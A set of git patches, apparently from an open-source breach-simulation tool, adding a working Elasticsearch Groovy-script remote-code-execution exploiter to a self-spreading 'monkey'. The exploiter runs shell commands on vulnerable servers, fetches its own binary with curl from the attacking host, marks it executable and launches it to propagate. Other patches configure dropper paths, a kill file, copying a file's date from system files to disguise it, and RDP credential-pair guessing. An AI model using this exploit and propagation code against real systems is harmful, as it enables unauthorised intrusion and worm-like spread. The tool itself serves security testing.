From 6708e623fcf128b36561d11467803b7ed5a5e62f Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 26 Sep 2017 15:43:46 +0300 Subject: [PATCH 1/6] Added Elastic attack --- chaos_monkey/config.py | 3 +- chaos_monkey/example.conf | 4 +- chaos_monkey/exploit/__init__.py | 2 + chaos_monkey/exploit/elasticgroovy.py | 221 ++++++++++++++++++++++++++ 4 files changed, 228 insertions(+), 2 deletions(-) create mode 100644 chaos_monkey/exploit/elasticgroovy.py diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py index b9d250cd8..1bdd41dd1 100644 --- a/chaos_monkey/config.py +++ b/chaos_monkey/config.py @@ -6,7 +6,7 @@ from abc import ABCMeta from itertools import product from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ - SambaCryExploiter + SambaCryExploiter, ElasticGroovyExploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger from network.range import FixedRange @@ -145,6 +145,7 @@ class Configuration(object): finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger] exploiter_classes = [SmbExploiter, WmiExploiter, RdpExploiter, Ms08_067_Exploiter, # Windows exploits SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux + ElasticGroovyExploiter, # multi ] # how many victims to look for in a single scan iteration diff --git a/chaos_monkey/example.conf b/chaos_monkey/example.conf index 3db576ad3..05a6e2aa8 100644 --- a/chaos_monkey/example.conf +++ b/chaos_monkey/example.conf @@ -33,7 +33,9 @@ "WmiExploiter", "RdpExploiter", "Ms08_067_Exploiter", - "ShellShockExploiter" + "ShellShockExploiter", + "ElasticGroovyExploiter", + "SambaCryExploiter", ], "finger_classes": [ "SSHFinger", diff --git a/chaos_monkey/exploit/__init__.py b/chaos_monkey/exploit/__init__.py index 1b12afd2f..a5b23ec1c 100644 --- a/chaos_monkey/exploit/__init__.py +++ b/chaos_monkey/exploit/__init__.py @@ -14,6 +14,7 @@ class HostExploiter(object): def exploit_host(self, host, depth=-1, src_path=None): raise NotImplementedError() + from win_ms08_067 import Ms08_067_Exploiter from wmiexec import WmiExploiter from smbexec import SmbExploiter @@ -21,3 +22,4 @@ from rdpgrinder import RdpExploiter from sshexec import SSHExploiter from shellshock import ShellShockExploiter from sambacry import SambaCryExploiter +from elasticgroovy import ElasticGroovyExploiter diff --git a/chaos_monkey/exploit/elasticgroovy.py b/chaos_monkey/exploit/elasticgroovy.py new file mode 100644 index 000000000..1e8e91b6d --- /dev/null +++ b/chaos_monkey/exploit/elasticgroovy.py @@ -0,0 +1,221 @@ +""" + Implementation is based on elastic search groovy exploit by metasploit + https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66/modules/exploits/multi/elasticsearch/search_groovy_script.rb +""" + +import json +import logging + +import requests + +from exploit import HostExploiter +from model import MONKEY_ARG +from model.host import VictimHost +from network.elasticfinger import ES_SERVICE, ES_PORT +from tools import get_target_monkey, HTTPTools, build_monkey_commandline + +__author__ = 'danielg' + +LOG = logging.getLogger(__name__) +TIMEOUT = 2 +DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder +VULNERABLE_VERSION = "1.4.2" + + +class ElasticGroovyExploiter(HostExploiter): + _target_os_type = ['linux', 'windows'] + BASE_URL = 'http://%s:%s/_search?pretty' + GENERIC_QUERY = '''{"size":1, "script_fields":{"monkey_result": {"script": "%s"}}}''' + JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")' + JAVA_GET_TMP_DIR = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")' + JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")' + JAVA_CMD = GENERIC_QUERY % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()""" + JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m' + + def __init__(self): + self._config = __import__('config').WormConfiguration + self.skip_exist = self._config.skip_exploit_if_file_exist + self.host = None + + def is_os_supported(self, host): + """ + Checks if the host is vulnerable. + Either using version string or by trying to attack + :param host: VictimHost + :return: + """ + if host.os.get('type') in self._target_os_type: + return True + + if ES_SERVICE not in host.services: + LOG.info("Host: %s doesn't have ES open" % host.ip_addr) + return False + major, minor, build = host.services[ES_SERVICE]['version'].split('.') + if major > 1: + return False + if major == 1 and minor > 4: + return False + if major == 1 and minor == 4 and build > 2: + return False + return self.is_vulnerable(host) + + def exploit_host(self, host, depth=-1, src_path=None): + assert isinstance(host, VictimHost) + self.host = host + + real_host_os = self.get_host_os() + host.os['type'] = str(real_host_os.lower()) # strip unicode characters + if 'linux' in host.os['type']: + return self.exploit_host_linux(host, depth, src_path) + else: + return self.exploit_host_windows(host, depth, src_path) + + def exploit_host_windows(self, host, depth=-1, src_path=None): + """ + TODO + Will exploit windows similar to smbexec + :param host: + :param depth: + :param src_path: + :return: + """ + return False + + def exploit_host_linux(self, host, depth=-1, src_path=None): + """ + Exploits linux using similar flow to sshexec and shellshock. + Meaning run remote commands to copy files over HTTP + :param host: + :param depth: + :param src_path: + :return: + """ + uname_machine = self.get_linux_arch() + if '' != uname_machine: + host.os['machine'] = str(uname_machine.lower().strip()) # strip unicode characters + dropper_target_path_linux = self._config.dropper_target_path_linux + if self.skip_exist and (self.check_if_remote_file_exists_linux(dropper_target_path_linux)): + LOG.info("Host %s was already infected under the current configuration, done" % host) + return True # return already infected + src_path = src_path or get_target_monkey(host) + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", host) + return False + + http_path, http_thread = HTTPTools.create_transfer(host, src_path) + + if not http_path: + LOG.debug("Exploiter %s failed, http transfer creation failed." % self.__name__) + return False + + download_command = '/usr/bin/curl %s -o %s' % ( + http_path, dropper_target_path_linux) + self.run_shell_command(download_command) + http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.stop() + if (http_thread.downloads != 1) or ( + 'ELF' not in + self.check_if_remote_file_exists_linux(dropper_target_path_linux)): + LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__) + return False + chmod = '/bin/chmod +x %s' % dropper_target_path_linux + self.run_shell_command(chmod) + cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG) + cmdline += build_monkey_commandline(host, depth - 1) + ' & ' + self.run_shell_command(cmdline) + LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", + self._config.dropper_target_path_linux, host, cmdline) + if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)): + LOG.info("Log file does not exist, monkey might not have run") + return True + + def check_if_remote_file_exists_linux(self, file_path): + """ + :param file_path: + :return: + """ + cmdline = '/usr/bin/head -c 4 %s' % file_path + return self.run_shell_command(cmdline) + + def run_shell_command(self, command): + """ + Runs a single shell command and returns the result. + :param command: + :return: + """ + payload = self.JAVA_CMD % command + return self.get_command_result(payload) + + def get_linux_arch(self): + """ + Returns host as per uname -m + :return: + """ + return self.get_command_result(self.JAVA_GET_BIT_LINUX) + + def get_host_tempdir(self): + """ + Returns where to write our file given our permissions + :return: Temp directory path in target host + """ + return self.get_command_result(self.JAVA_GET_TMP_DIR) + + def get_host_os(self): + """ + :return: target OS + """ + return self.get_command_result(self.JAVA_GET_OS) + + def is_vulnerable(self, host): + """ + Checks if a given elasticsearch host is vulnerable to the groovy attack + :param host: Host, with an open 9200 port + :return: True/False + """ + self.host = host + result_text = self.get_command_result(self.JAVA_IS_VULNERABLE) + return 'java.lang.Runtime' in result_text + + def get_command_result(self, payload): + """ + Gets the result of an attack payload with a single return value. + :param payload: Payload that fits the GENERIC_QUERY template. + :return: + """ + result = self.attack_query(payload) + if not result: # not vulnerable + return False + if 1 != len(result): # weird + return None + return result[0] + + @property + def attack_url(self): + """ + Composes the URL to attack per host IP and port. + :return: + """ + return self.BASE_URL % (self.host.ip_addr, ES_PORT) + + def attack_query(self, payload): + """ + Wraps the requests query and the JSON parsing. + Just reduce opportunity for bugs + :param payload: + :return: List of data fields or None + """ + response = requests.get(self.attack_url, data=payload) + result = self.get_results(response) + return result + + @staticmethod + def get_results(response): + """ + Extracts the result data from our attack + :return: List of data fields or None + """ + try: + json_resp = json.loads(response.text) + return json_resp['hits']['hits'][0]['fields']['monkey_result'] + except KeyError: + return None From 798b2a87944fc536c8ece93a4fee425f71b7457f Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 26 Sep 2017 15:45:43 +0300 Subject: [PATCH 2/6] Add Elastic Exploit to the UI --- monkey_island/cc/services/config.py | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 6f6071aa3..5fe2e4e88 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -62,7 +62,14 @@ SCHEMA = { "SambaCryExploiter" ], "title": "SambaCryExploiter" - } + }, + { + "type": "string", + "enum": [ + "ElasticGroovyExploiter" + ], + "title": "ElasticGroovyExploiter" + }, ] }, "finger_classes": { @@ -320,7 +327,8 @@ SCHEMA = { "Ms08_067_Exploiter", "SSHExploiter", "ShellShockExploiter", - "SambaCryExploiter" + "SambaCryExploiter", + "ElasticGroovyExploiter" ], "description": "Determines which classes to use for exploiting" } From 5e8288e2115545165e653f880d3a55770e72cb05 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 26 Sep 2017 18:16:20 +0300 Subject: [PATCH 3/6] Fixed CR notes in https://github.com/guardicore/monkey/pull/51#pullrequestreview-65212211 --- chaos_monkey/exploit/elasticgroovy.py | 143 ++++++++++++++------------ 1 file changed, 77 insertions(+), 66 deletions(-) diff --git a/chaos_monkey/exploit/elasticgroovy.py b/chaos_monkey/exploit/elasticgroovy.py index 1e8e91b6d..59765d4a9 100644 --- a/chaos_monkey/exploit/elasticgroovy.py +++ b/chaos_monkey/exploit/elasticgroovy.py @@ -1,6 +1,7 @@ """ Implementation is based on elastic search groovy exploit by metasploit https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66/modules/exploits/multi/elasticsearch/search_groovy_script.rb + Max vulnerable elasticsearch version is "1.4.2" """ import json @@ -17,25 +18,26 @@ from tools import get_target_monkey, HTTPTools, build_monkey_commandline __author__ = 'danielg' LOG = logging.getLogger(__name__) -TIMEOUT = 2 -DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder -VULNERABLE_VERSION = "1.4.2" class ElasticGroovyExploiter(HostExploiter): _target_os_type = ['linux', 'windows'] + + # attack URLs BASE_URL = 'http://%s:%s/_search?pretty' - GENERIC_QUERY = '''{"size":1, "script_fields":{"monkey_result": {"script": "%s"}}}''' + MONKEY_RESULT_FIELD = "monkey_result" + GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")' JAVA_GET_TMP_DIR = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")' JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")' JAVA_CMD = GENERIC_QUERY % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()""" JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m' + DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder + def __init__(self): self._config = __import__('config').WormConfiguration self.skip_exist = self._config.skip_exploit_if_file_exist - self.host = None def is_os_supported(self, host): """ @@ -44,8 +46,8 @@ class ElasticGroovyExploiter(HostExploiter): :param host: VictimHost :return: """ - if host.os.get('type') in self._target_os_type: - return True + if host.os.get('type') not in self._target_os_type: + return False if ES_SERVICE not in host.services: LOG.info("Host: %s doesn't have ES open" % host.ip_addr) @@ -61,9 +63,8 @@ class ElasticGroovyExploiter(HostExploiter): def exploit_host(self, host, depth=-1, src_path=None): assert isinstance(host, VictimHost) - self.host = host - real_host_os = self.get_host_os() + real_host_os = self.get_host_os(host) host.os['type'] = str(real_host_os.lower()) # strip unicode characters if 'linux' in host.os['type']: return self.exploit_host_linux(host, depth, src_path) @@ -74,9 +75,6 @@ class ElasticGroovyExploiter(HostExploiter): """ TODO Will exploit windows similar to smbexec - :param host: - :param depth: - :param src_path: :return: """ return False @@ -85,16 +83,13 @@ class ElasticGroovyExploiter(HostExploiter): """ Exploits linux using similar flow to sshexec and shellshock. Meaning run remote commands to copy files over HTTP - :param host: - :param depth: - :param src_path: :return: """ - uname_machine = self.get_linux_arch() - if '' != uname_machine: + uname_machine = str(self.get_linux_arch(host)) + if len(uname_machine) != 0: host.os['machine'] = str(uname_machine.lower().strip()) # strip unicode characters dropper_target_path_linux = self._config.dropper_target_path_linux - if self.skip_exist and (self.check_if_remote_file_exists_linux(dropper_target_path_linux)): + if self.skip_exist and (self.check_if_remote_file_exists_linux(host, dropper_target_path_linux)): LOG.info("Host %s was already infected under the current configuration, done" % host) return True # return already infected src_path = src_path or get_target_monkey(host) @@ -102,69 +97,88 @@ class ElasticGroovyExploiter(HostExploiter): LOG.info("Can't find suitable monkey executable for host %r", host) return False - http_path, http_thread = HTTPTools.create_transfer(host, src_path) - - if not http_path: - LOG.debug("Exploiter %s failed, http transfer creation failed." % self.__name__) + if not self.download_file_in_linux(host, src_path, target_path=dropper_target_path_linux): return False - download_command = '/usr/bin/curl %s -o %s' % ( - http_path, dropper_target_path_linux) - self.run_shell_command(download_command) - http_thread.join(DOWNLOAD_TIMEOUT) - http_thread.stop() - if (http_thread.downloads != 1) or ( - 'ELF' not in - self.check_if_remote_file_exists_linux(dropper_target_path_linux)): - LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__) - return False - chmod = '/bin/chmod +x %s' % dropper_target_path_linux - self.run_shell_command(chmod) + self.set_file_executable_linux(host, dropper_target_path_linux) cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG) cmdline += build_monkey_commandline(host, depth - 1) + ' & ' - self.run_shell_command(cmdline) + self.run_shell_command(host, cmdline) LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, host, cmdline) - if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)): + if not (self.check_if_remote_file_exists_linux(host, self._config.monkey_log_path_linux)): LOG.info("Log file does not exist, monkey might not have run") return True - def check_if_remote_file_exists_linux(self, file_path): + def download_file_in_linux(self, host, src_path, target_path): + """ + Downloads a file in target machine using curl to the given target path + :param host: + :param src_path: File path relative to the monkey + :param target_path: Target path in linux victim + :return: T/F + """ + http_path, http_thread = HTTPTools.create_transfer(host, src_path) + if not http_path: + LOG.debug("Exploiter %s failed, http transfer creation failed." % self.__name__) + return False + download_command = '/usr/bin/curl %s -o %s' % ( + http_path, target_path) + self.run_shell_command(host, download_command) + http_thread.join(self.DOWNLOAD_TIMEOUT) + http_thread.stop() + if (http_thread.downloads != 1) or ( + 'ELF' not in + self.check_if_remote_file_exists_linux(host, target_path)): + LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__) + return False + return True + + def set_file_executable_linux(self, host, file_path): + """ + Marks the given file as executable using chmod + :return: Nothing + """ + chmod = '/bin/chmod +x %s' % file_path + self.run_shell_command(host, chmod) + LOG.info("Marked file %s on host %s as executable", file_path, host) + + def check_if_remote_file_exists_linux(self, host, file_path): """ - :param file_path: :return: """ cmdline = '/usr/bin/head -c 4 %s' % file_path - return self.run_shell_command(cmdline) + return self.run_shell_command(host, cmdline) - def run_shell_command(self, command): + def run_shell_command(self, host, command): """ Runs a single shell command and returns the result. - :param command: :return: """ payload = self.JAVA_CMD % command - return self.get_command_result(payload) + result = self.get_command_result(host, payload) + LOG.info("Ran the command %s on host %s", command, payload) + return result - def get_linux_arch(self): + def get_linux_arch(self, host): """ Returns host as per uname -m :return: """ - return self.get_command_result(self.JAVA_GET_BIT_LINUX) + return self.get_command_result(host, self.JAVA_GET_BIT_LINUX) - def get_host_tempdir(self): + def get_host_tempdir(self, host): """ Returns where to write our file given our permissions :return: Temp directory path in target host """ - return self.get_command_result(self.JAVA_GET_TMP_DIR) + return self.get_command_result(host, self.JAVA_GET_TMP_DIR) - def get_host_os(self): + def get_host_os(self, host): """ :return: target OS """ - return self.get_command_result(self.JAVA_GET_OS) + return self.get_command_result(host, self.JAVA_GET_OS) def is_vulnerable(self, host): """ @@ -172,50 +186,47 @@ class ElasticGroovyExploiter(HostExploiter): :param host: Host, with an open 9200 port :return: True/False """ - self.host = host - result_text = self.get_command_result(self.JAVA_IS_VULNERABLE) + result_text = self.get_command_result(host, self.JAVA_IS_VULNERABLE) return 'java.lang.Runtime' in result_text - def get_command_result(self, payload): + def get_command_result(self, host, payload): """ Gets the result of an attack payload with a single return value. + :param host: VictimHost configuration :param payload: Payload that fits the GENERIC_QUERY template. :return: """ - result = self.attack_query(payload) + result = self.attack_query(host, payload) if not result: # not vulnerable return False if 1 != len(result): # weird return None return result[0] - @property - def attack_url(self): - """ - Composes the URL to attack per host IP and port. - :return: - """ - return self.BASE_URL % (self.host.ip_addr, ES_PORT) - - def attack_query(self, payload): + def attack_query(self, host, payload): """ Wraps the requests query and the JSON parsing. Just reduce opportunity for bugs - :param payload: :return: List of data fields or None """ - response = requests.get(self.attack_url, data=payload) + response = requests.get(self.attack_url(host), data=payload) result = self.get_results(response) return result - @staticmethod - def get_results(response): + def attack_url(self, host): + """ + Composes the URL to attack per host IP and port. + :return: Elasticsearch vulnerable URL + """ + return self.BASE_URL % (host.ip_addr, ES_PORT) + + def get_results(self, response): """ Extracts the result data from our attack :return: List of data fields or None """ try: json_resp = json.loads(response.text) - return json_resp['hits']['hits'][0]['fields']['monkey_result'] + return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD] except KeyError: return None From 22ce3d9387696a459b88773420da14404541316b Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 27 Sep 2017 11:24:42 +0300 Subject: [PATCH 4/6] Expand config env variables on demand --- chaos_monkey/config.py | 9 +++++---- chaos_monkey/dropper.py | 8 ++++++-- chaos_monkey/example.conf | 3 ++- chaos_monkey/main.py | 2 +- monkey_island/cc/services/config.py | 20 +++++++++++++------- 5 files changed, 27 insertions(+), 15 deletions(-) diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py index b9d250cd8..c61912ac0 100644 --- a/chaos_monkey/config.py +++ b/chaos_monkey/config.py @@ -102,9 +102,9 @@ class Configuration(object): ########################### use_file_logging = True - dropper_log_path_windows = os.path.expandvars("%temp%\~df1562.tmp") + dropper_log_path_windows = '%temp%\\~df1562.tmp' dropper_log_path_linux = '/tmp/user-1562' - monkey_log_path_windows = os.path.expandvars("%temp%\~df1563.tmp") + monkey_log_path_windows = '%temp%\\~df1563.tmp' monkey_log_path_linux = '/tmp/user-1563' ########################### @@ -113,14 +113,15 @@ class Configuration(object): dropper_try_move_first = sys.argv[0].endswith(".exe") dropper_set_date = True - dropper_date_reference_path = r"\windows\system32\kernel32.dll" if sys.platform == "win32" else '/bin/sh' + dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll" + dropper_date_reference_path_linux = '/bin/sh' dropper_target_path = r"C:\Windows\monkey.exe" dropper_target_path_linux = '/tmp/monkey' ########################### # Kill file ########################### - kill_file_path_windows = os.path.expandvars("%windir%\monkey.not") + kill_file_path_windows = '%windir%\\monkey.not' kill_file_path_linux = '/var/run/monkey.not' ########################### diff --git a/chaos_monkey/dropper.py b/chaos_monkey/dropper.py index 6d4133557..adbca1821 100644 --- a/chaos_monkey/dropper.py +++ b/chaos_monkey/dropper.py @@ -83,11 +83,15 @@ class MonkeyDrops(object): return False if WormConfiguration.dropper_set_date: + if sys.platform == 'win32': + dropper_date_reference_path = os.path.expandvars(WormConfiguration.dropper_date_reference_path_windows) + else: + dropper_date_reference_path = WormConfiguration.dropper_date_reference_path_linux try: - ref_stat = os.stat(WormConfiguration.dropper_date_reference_path) + ref_stat = os.stat(dropper_date_reference_path) except: LOG.warn("Cannot set reference date using '%s', file not found", - WormConfiguration.dropper_date_reference_path) + dropper_date_reference_path) else: try: os.utime(self._config['destination_path'], diff --git a/chaos_monkey/example.conf b/chaos_monkey/example.conf index 3db576ad3..e58f42387 100644 --- a/chaos_monkey/example.conf +++ b/chaos_monkey/example.conf @@ -16,7 +16,8 @@ "collect_system_info": true, "depth": 2, - "dropper_date_reference_path": "/bin/sh", + "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", + "dropper_date_reference_path_linux": "/bin/sh", "dropper_log_path_windows": "%temp%\\~df1562.tmp", "dropper_log_path_linux": "/tmp/user-1562", "dropper_set_date": true, diff --git a/chaos_monkey/main.py b/chaos_monkey/main.py index 2cc4ed484..231734d56 100644 --- a/chaos_monkey/main.py +++ b/chaos_monkey/main.py @@ -68,7 +68,7 @@ def main(): print "Loaded Configuration: %r" % WormConfiguration.as_dict() # Make sure we're not in a machine that has the kill file - kill_path = WormConfiguration.kill_file_path_windows if sys.platform == "win32" else WormConfiguration.kill_file_path_linux + kill_path = os.path.expandvars(WormConfiguration.kill_file_path_windows) if sys.platform == "win32" else WormConfiguration.kill_file_path_linux if os.path.exists(kill_path): print "Kill path found, finished run" return True diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 6f6071aa3..491468bae 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -333,7 +333,7 @@ SCHEMA = { "kill_file_path_windows": { "title": "Kill file path on Windows", "type": "string", - "default": "C:\\Windows\\monkey.not", + "default": "%windir%\\monkey.not", "description": "Path of file which kills monkey if it exists (on Windows)" }, "kill_file_path_linux": { @@ -354,11 +354,17 @@ SCHEMA = { "default": True, "description": "Determines whether the dropper should set the monkey's file date to be the same as another file" }, - "dropper_date_reference_path": { - "title": "Droper date reference path", + "dropper_date_reference_path_windows": { + "title": "Dropper date reference path (Windows)", "type": "string", - "default": "\\windows\\system32\\kernel32.dll", - "description": "Determines which file the dropper should copy the date from if it's configured to do so (use fullpath)" + "default": "%windir%\\system32\\kernel32.dll", + "description": "Determines which file the dropper should copy the date from if it's configured to do so on Windows (use fullpath)" + }, + "dropper_date_reference_path_linux": { + "title": "Dropper date reference path (Linux)", + "type": "string", + "default": "/bin/sh", + "description": "Determines which file the dropper should copy the date from if it's configured to do so on Linux (use fullpath)" }, "dropper_target_path_linux": { "title": "Dropper target path on Linux", @@ -393,7 +399,7 @@ SCHEMA = { "dropper_log_path_windows": { "title": "Dropper log file path on Windows", "type": "string", - "default": "C:\\Users\\user\\AppData\\Local\\Temp\\~df1562.tmp", + "default": "%temp%\\~df1562.tmp", "description": "The fullpath of the dropper log file on Windows" }, "monkey_log_path_linux": { @@ -405,7 +411,7 @@ SCHEMA = { "monkey_log_path_windows": { "title": "Monkey log file path on Windows", "type": "string", - "default":"C:\\Users\\user\\AppData\\Local\\Temp\\~df1563.tmp", + "default": "%temp%\\~df1563.tmp", "description": "The fullpath of the monkey log file on Windows" } } From 142401e706cf2406d5afe00cbaffd02dc14a6020 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 27 Sep 2017 13:40:50 +0300 Subject: [PATCH 5/6] change the user/password combo to existing function in another place. --- chaos_monkey/exploit/rdpgrinder.py | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) diff --git a/chaos_monkey/exploit/rdpgrinder.py b/chaos_monkey/exploit/rdpgrinder.py index 6f37cdc2e..231dfc304 100644 --- a/chaos_monkey/exploit/rdpgrinder.py +++ b/chaos_monkey/exploit/rdpgrinder.py @@ -280,12 +280,8 @@ class RdpExploiter(HostExploiter): 'monkey_path': self._config.dropper_target_path, 'http_path': http_path, 'parameters': cmdline} - config_users = self._config.exploit_user_list - config_passwords = self._config.exploit_password_list - user_password_pairs = [] - for user in config_users: - for password in config_passwords: - user_password_pairs.append((user, password)) + + user_password_pairs = self._config.get_exploit_user_password_pairs() if not g_reactor.is_alive(): g_reactor.daemon = True From 6b7f67933d87ac5a7e45e47e4108335786e647bf Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 27 Sep 2017 14:38:44 +0300 Subject: [PATCH 6/6] Finish fixing CR notes. --- chaos_monkey/exploit/elasticgroovy.py | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/chaos_monkey/exploit/elasticgroovy.py b/chaos_monkey/exploit/elasticgroovy.py index 59765d4a9..ed110e999 100644 --- a/chaos_monkey/exploit/elasticgroovy.py +++ b/chaos_monkey/exploit/elasticgroovy.py @@ -101,6 +101,16 @@ class ElasticGroovyExploiter(HostExploiter): return False self.set_file_executable_linux(host, dropper_target_path_linux) + self.run_monkey_linux(host, dropper_target_path_linux, depth) + + if not (self.check_if_remote_file_exists_linux(host, self._config.monkey_log_path_linux)): + LOG.info("Log file does not exist, monkey might not have run") + return True + + def run_monkey_linux(self, host, dropper_target_path_linux, depth): + """ + Runs the monkey + """ cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG) cmdline += build_monkey_commandline(host, depth - 1) + ' & ' self.run_shell_command(host, cmdline) @@ -108,7 +118,6 @@ class ElasticGroovyExploiter(HostExploiter): self._config.dropper_target_path_linux, host, cmdline) if not (self.check_if_remote_file_exists_linux(host, self._config.monkey_log_path_linux)): LOG.info("Log file does not exist, monkey might not have run") - return True def download_file_in_linux(self, host, src_path, target_path): """ @@ -153,7 +162,6 @@ class ElasticGroovyExploiter(HostExploiter): def run_shell_command(self, host, command): """ Runs a single shell command and returns the result. - :return: """ payload = self.JAVA_CMD % command result = self.get_command_result(host, payload) @@ -163,7 +171,6 @@ class ElasticGroovyExploiter(HostExploiter): def get_linux_arch(self, host): """ Returns host as per uname -m - :return: """ return self.get_command_result(host, self.JAVA_GET_BIT_LINUX) @@ -194,13 +201,10 @@ class ElasticGroovyExploiter(HostExploiter): Gets the result of an attack payload with a single return value. :param host: VictimHost configuration :param payload: Payload that fits the GENERIC_QUERY template. - :return: """ result = self.attack_query(host, payload) if not result: # not vulnerable return False - if 1 != len(result): # weird - return None return result[0] def attack_query(self, host, payload):